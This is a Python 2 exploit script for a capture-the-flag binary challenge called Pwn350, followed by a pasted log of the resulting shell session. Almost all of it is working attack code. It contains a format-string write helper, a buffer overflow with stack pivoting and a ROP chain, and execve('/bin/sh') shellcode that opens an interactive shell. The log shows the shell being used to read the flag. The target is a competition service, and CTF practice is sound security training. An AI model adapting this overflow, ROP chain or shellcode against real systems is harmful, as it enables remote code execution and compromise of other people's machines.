|
#!/usr/bin/env python2 |
|
|
|
import binascii |
|
import re |
|
import socket |
|
import struct |
|
import subprocess |
|
import sys |
|
import telnetlib |
|
import time |
|
|
|
|
|
def read_until(f, delim='\n'): |
|
data = "" |
|
while not data.endswith(delim): |
|
data += f.read(1) |
|
return data |
|
|
|
def connect(rhp=("localhost", 1919)): |
|
s = socket.create_connection(rhp) |
|
f = s.makefile('rw', bufsize=0) |
|
return s, f |
|
|
|
def interact(s): |
|
t = telnetlib.Telnet() |
|
t.sock = s |
|
|
|
print "[+] 4ll y0U n33D 15 5h3ll!!" |
|
t.interact() |
|
|
|
def p(x, t="<I"): |
|
return struct.pack(t, x) |
|
|
|
def u(x, t="<I"): |
|
return struct.unpack(t, x)[0] |
|
|
|
def unsigned(x): |
|
return u(p(x, t="<i"), t="<I") |
|
|
|
def overwrite(pairs, index=7): |
|
(addrs, datas) = pairs |
|
if len(addrs) != len(datas): |
|
sys.stderr.write("[!] number of `pairs', elements don't be matched in overwrite()\n") |
|
return "" |
|
|
|
payload = "" |
|
for addr in addrs: |
|
# A, A+2, B, B+2, C, C+2, ... |
|
payload += p(addr) + p(addr+2) |
|
dataset = map(lambda x: [x&0xffff, (x>>16)&0xffff], datas) |
|
dataset = sum(dataset, []) # it's a cool technique ;) |
|
num = -len(payload) |
|
prev = 0 |
|
for i, data in enumerate(dataset): |
|
data += num |
|
data = unsigned(data) if data < 0 else u(p(data, t="<H"), t="<H") |
|
payload += "%{}x%{}$hn%{}x".format(data, index+i, (0x10000 - data + num) % 0x10000) |
|
num = 0 |
|
|
|
return payload |
|
|
|
def stack_leak(data, write=True): |
|
data = data.replace('(nil)', '0x0') |
|
data = data.split('0x')[1:] |
|
stack = map(lambda x: int('0x'+x, 16), data) |
|
if write: |
|
print map(lambda x: "0x{:08x}".format(x), stack) |
|
return stack |
|
|
|
def message(message_type, message_body, value=None): |
|
text = "" |
|
if value: |
|
text = "[{}] {}: 0x{:08x}".format(message_type, message_body, value) |
|
else: |
|
text = "[{}] {}".format(message_type, message_body) |
|
print text |
|
|
|
|
|
plt_gets = 0x8048410 |
|
plt_scanf = 0x8048470 |
|
bss_804a060 = 0x804a060 |
|
dummy_address = 0xdeadbeef |
|
ret = 0x80487f0 |
|
percent_s = 0x8048893 |
|
|
|
if len(sys.argv) >= 2 and sys.argv[1] == '-l': |
|
rhp = ('localhost', 10080) |
|
else: |
|
rhp = ('library.polictf.it', 80) |
|
alignment = 2 |
|
|
|
with open("./execve_binsh", "rb") as fh: |
|
shellcode = fh.read() |
|
""" |
|
BITS 32 |
|
|
|
jmp get_binsh |
|
body: |
|
;; execve("/bin/sh", NULL, NULL); |
|
xor eax, eax |
|
pop ebx |
|
xor ecx, ecx |
|
cdq |
|
add al, 0xe |
|
dec eax |
|
dec eax |
|
dec eax |
|
int 0x80 |
|
;; exit(0); |
|
xor eax, eax |
|
inc eax |
|
xor ebx, ebx |
|
int 0x80 |
|
|
|
get_binsh: |
|
call body |
|
db "/bin/sh", 0""" |
|
|
|
payload = "P"*(0x420-0x1b) # fillup buffer. |
|
payload += "A"*(4*alignment) # alignment. |
|
# stack pivoting |
|
payload += p(bss_804a060) # saved ebp |
|
payload += p(ret) |
|
payload += p(ret) |
|
payload += p(ret) # rop-sleds |
|
payload += p(plt_scanf) # scanf("%s", bss_804a060); |
|
payload += p(bss_804a060) |
|
payload += p(percent_s) |
|
payload += p(bss_804a060) # towards the next stage. |
|
|
|
s, f = connect(rhp) |
|
read_until(f, "exit\n") |
|
f.write("a\n") |
|
f.write("0\n"+payload+'\n') |
|
f.write("u\n") |
|
time.sleep(1) |
|
read_until(f, "exit\n") |
|
f.write(shellcode+'\n') # send a shellcode. |
|
|
|
interact(s) |
|
""" |
|
[+] 4ll y0U n33D 15 5h3ll!! |
|
whoami |
|
ctf |
|
cd /home/ctf/ |
|
ls |
|
challenge |
|
flag |
|
cat flag |
|
flag{John_should_read_a_real_book_on_s3cur3_pr0gr4mm1ng} |
|
echo "got flag;) |
|
got flag;) |
|
|
|
exit |
|
""" |
Pwn350, I solved it after game over.